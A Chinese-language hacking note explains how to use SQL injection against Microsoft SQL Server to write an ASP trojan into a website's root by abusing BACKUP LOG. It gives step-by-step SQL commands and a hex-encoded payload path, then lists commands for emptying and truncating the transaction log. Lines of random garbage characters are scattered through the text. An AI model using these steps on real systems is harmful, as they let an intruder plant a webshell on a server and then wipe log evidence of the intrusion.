差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录
$ V; U2 Q0 F. ~0 Y$ E
select name from master.dbo.sysdatabases 仅列出name列的记录

注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份

alter database 数据库名 set RECOVERY FULL--
2 Z2 J1 l$ X0 w8 J( X( \
create table cmd (a image)--                    \**cmd是创建的临时表
5 ^9 b, ]) e2 @4 m1 b  E
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
: a7 x# r3 H$ \$ A- O# i, Z
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--

//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）
; w8 \8 X& e3 Z2 K& P7 i6 N& ]3 E
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)

( W) ^2 ^; h* ]* r/ [6 wdrop table cmd--

) |6 `, w4 S: d! M1 ?
% W6 k  R, L* l8 z2 ]f:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

最好多加几个回车0d0a,要不会出错哈
+ h+ d% U: n0 j/ N
7 _2 f1 c/ p; D+ p  f' f
SQL   Server日志清空方法   

& ^: [. t. ^1 j0 c1 Y+ Q* o在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   

' W* j' R; e$ @1 u" o# N2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   

3.收缩数据库：DBCC   SHRINKDATABASE(databasename)   
! K6 m9 [) n2 \3 \" Y. U